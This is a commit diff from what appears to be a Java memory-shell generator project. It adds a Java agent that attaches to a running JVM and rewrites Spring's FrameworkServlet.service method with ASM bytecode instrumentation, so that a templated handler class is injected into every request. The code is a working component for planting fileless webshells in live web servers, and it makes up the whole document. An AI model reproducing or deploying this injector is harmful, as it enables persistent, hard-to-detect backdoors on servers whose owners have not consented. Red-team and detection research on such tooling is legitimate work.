feat: support other server command agent with asm (#51)

memshell-java8/build.gradle

@@ -12,6 +12,7 @@ java {
 dependencies {
     implementation project(":memshell")
     implementation 'net.bytebuddy:byte-buddy'
+    implementation 'org.ow2.asm:asm-commons'
 
     implementation 'org.springframework:spring-webmvc'
     implementation 'org.springframework:spring-webflux'

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentWithAsmInjector.java

@@ -0,0 +1,97 @@
+package com.reajason.javaweb.memshell.springwebmvc.injector;
+
+import org.objectweb.asm.*;
+
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.lang.reflect.Constructor;
+import java.security.ProtectionDomain;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
+    private static final String TARGET_METHOD_NAME = "service";
+
+    static Constructor<?> constructor = null;
+
+    static {
+        try {
+            Class<?> clazz = Class.forName(getClassName());
+            constructor = clazz.getConstructors()[0];
+            constructor.setAccessible(true);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
+    }
+
+    @Override
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+            }
+        }
+        System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
+    }
+}